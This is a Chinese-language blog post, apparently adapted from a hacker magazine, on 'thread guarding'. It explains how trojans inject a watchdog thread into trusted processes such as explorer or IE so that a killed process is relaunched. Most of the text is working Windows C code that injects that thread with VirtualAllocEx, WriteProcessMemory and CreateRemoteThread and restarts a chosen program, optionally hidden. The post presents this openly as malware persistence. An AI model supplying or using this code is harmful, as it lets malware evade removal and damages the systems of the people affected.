线程守卫

线程守卫

前几天看杂志时看到了讲进程守卫技术，读完之后发现也并不是很难，自己就根据作者提供的代码自己试着写了下，在原作者的基础上将原代码进行了以下小的扩充，使之应用范围大些。（原文参考 < 黑客防线 >83 期第 84 页冷风的那篇文章 , 如有侵权请见谅） .

 

所谓进程守卫顾名思义就是一个进程保卫另一个进程，如果被保卫的进程被终止的话则守卫进程会自动重新启动被保卫进程。这项技术在病毒木马中应用的很广泛。如果想要结束病毒进程的话，必须先要结束其守卫进程，而大多数木马病毒会采用线程注入技术，将守卫模块注入像 explorer,IE 等系统信任进程中，如果贸然结束这些系统进程的话很容易造成系统的瘫痪，这对查杀造成很大困难。

其实就线程守卫技术本身而言并无多大难度，主要是利用了线程注入技术。实现操作也就分两步走

<1> 将线程守卫函数写入宿主进程空间。

<2>CreateRomoteThread 启动远程线程 .

代码我贴出来了，主要的函数就是 CreateRemoteGuardThead ，利用此函数就能随意创建守护进程，或守护自身，或守护其他进程。

 

 

 

/* 远程线程函数参数结构体 */

typedef struct _remotestruct

{

DWORD rpOpenProcess;//OpenProcess 函数地址

DWORD rpWinExec;//WinExec 函数地址

DWORD rpWaitForSingleObject;//WaitForSingleObjiect 函数地址

HANDLE rpProcessHandle;// 被保护的进程的句柄

DWORD rpProcessId;// 被保护的进程 ID

TCHAR szFileName[MAX_PATH];// 当被保护的进程结束是启动的程序路径

}REMOTESTRUCT,*PREMOTESTRUCT;

 

 

/*************************************************************************/

/*                     远程线程函数                                       */

/* 函数功能 : 于远程线程创建，监视被保护进程，如果别保护进程结束则立即创建  */

/*************************************************************************/

DWORD WINAPI Remote(LPVOID lpParam)

{

PREMOTESTRUCT rp=(PREMOTESTRUCT)lpParam;

 

typedef HANDLE (WINAPI * EOpenProcess)          (DWORD,BOOL,DWORD);

typedef UINT   (WINAPI *EWinExec)               (LPCSTR,UINT);

typedef DWORD (WINAPI *EWaitForSingleObject)   (HANDLE,DWORD);

 

// 在远程进程中重定位所用的函数的地址

EOpenProcess tOpenProcess=(EOpenProcess)rp->rpOpenProcess;

EWinExec tWinExec=(EWinExec)rp->rpWinExec;

EWaitForSingleObject tWaitForSingleobject=(EWaitForSingleObject)rp->rpWaitForSingleObject;

 

// 获取被保护的进程的句柄

rp->rpProcessHandle=tOpenProcess(PROCESS_ALL_ACCESS,TRUE,rp->rpProcessId);

 

// 等待被保护的进程，若被保护的进程被终止则重新创建

tWaitForSingleobject(rp->rpProcessHandle,INFINITE);

 

// 创建被保护的进程

tWinExec(rp->szFileName,SW_SHOW /* SW_HIDE 隐藏创建 */);

 

return 0;

 

}//End_Remote

 

 

 

/*******************************************************************************/

/*                         封装创建远程线程的函数                               */

/* 打开寄生进程，写进远程线程函数与此函数参数，然后创建远程线程启动函数进行守护 */

/* 函数调用失败返回 0 ，成功返回远程线程句柄                                       */

/*******************************************************************************/

HANDLE CreateRemoteGuardThead(

                                                                  LPTSTR szGuardProcessName,// 寄生进程名

                                                                  DWORD GuardedProcessId,// 守护进程 Id

                                                                  LPTSTR ExecPath// 当守护进程终止时启动的进程名

                                                                  )

{

DWORD GuardProcessId=0;// 寄生进程 ID

HANDLE GuardProcessHandle=NULL;// 寄生进程句柄

TCHAR FileName[MAX_PATH]={0};// 自身路径

TCHAR *FuncAddr;// 远程线程中函数地址

TCHAR *ParamAddr;// 远程线程函数参数地址

HMODULE Kernel32Handle;//kernel32 模块句柄

HANDLE hRemoteThread=NULL;// 远程线程函数地址

 

 

// 获取寄生进程 ID

GuardProcessId=GetProcessIdByName(szGuardProcessName);

if(0==GuardProcessId)

{

printf(" 无法依据进程名获取进程的 ID. 可能目标进程未启动 .");

return 0;

}

// 打开寄生进程

GuardProcessHandle=OpenProcess(

                                                                    PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,

                               TRUE,

                                                                    GuardProcessId

                                                                    );

if(NULL==GuardProcessHandle)

{

printf(" 打开进程发生错误 .");

return 0;

}

 

// 将远程线程函数代码写入寄生进程中

int cb=sizeof(TCHAR)*4*1024;

FuncAddr=(TCHAR*)VirtualAllocEx(GuardProcessHandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);

if(NULL==FuncAddr)

{

printf(" 申请远程线程函数空间失败 .");

CloseHandle(GuardProcessHandle);

return 0;

}

if(FALSE==WriteProcessMemory(GuardProcessHandle,FuncAddr,(LPVOID)Remote,cb,NULL))

{

printf(" 写入远程线程函数失败 .");

CloseHandle(GuardProcessHandle);

return 0;

}

 

// 将远程线程函数的参数写入寄生进程

REMOTESTRUCT rp;

memset((char*)&rp,0,sizeof(REMOTESTRUCT));

 

Kernel32Handle=GetModuleHandle("kernel32.dll");

 

        rp.rpProcessId                         =GuardedProcessId;

                   rp.rpOpenProcess                 =(DWORD)GetProcAddress(Kernel32Handle,"OpenProcess");

                   rp.rpWinExec                        =(DWORD)GetProcAddress(Kernel32Handle,"WinExec");

                   rp.rpWaitForSingleObject=(DWORD)GetProcAddress(Kernel32Handle,"WaitForSingleObject");

strcpy(rp.szFileName,ExecPath);

 

cb=sizeof(TCHAR)*sizeof(rp);

 

ParamAddr=(TCHAR*)VirtualAllocEx(GuardProcessHandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);

if(NULL==ParamAddr)

{

printf(" 申请远程线程函数参数空间失败 .");

CloseHandle(GuardProcessHandle);

return 0;

}

if(FALSE==WriteProcessMemory(GuardProcessHandle,ParamAddr,(LPVOID)&rp,cb,NULL))

{

printf(" 写入远程线程函数参数失败 .");

CloseHandle(GuardProcessHandle);

return 0;

}

 

// 开启远程线程，执行远程线程函数

hRemoteThread=CreateRemoteThread(GuardProcessHandle,NULL,0,(LPTHREAD_START_ROUTINE)FuncAddr,ParamAddr,0,NULL);

if(NULL==hRemoteThread)

{

printf(" 远程线程函数创建失败 .");

CloseHandle(GuardProcessHandle);

return 0;

}

else

{

printf(" 远程线程函数创建成功 .");

}

return hRemoteThread;

}//End_CreateRemoteGuardThead

 

 

 

/* 辅助函数，用于根据进程名得到进程 ID*/

DWORD GetProcessIdByName(LPCTSTR name)

{

 PROCESSENTRY32 pe;

 DWORD id = 0;

 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

 pe.dwSize = sizeof(PROCESSENTRY32);

 BOOL PF=FALSE;

for(PF=Process32First(hSnapshot,&pe);PF;PF=Process32Next(hSnapshot,&pe))

{

if(strcmpi(pe.szExeFile,name) == 0)

 {

   id = pe.th32ProcessID;

break;

}

}

CloseHandle(hSnapshot);

return id;

}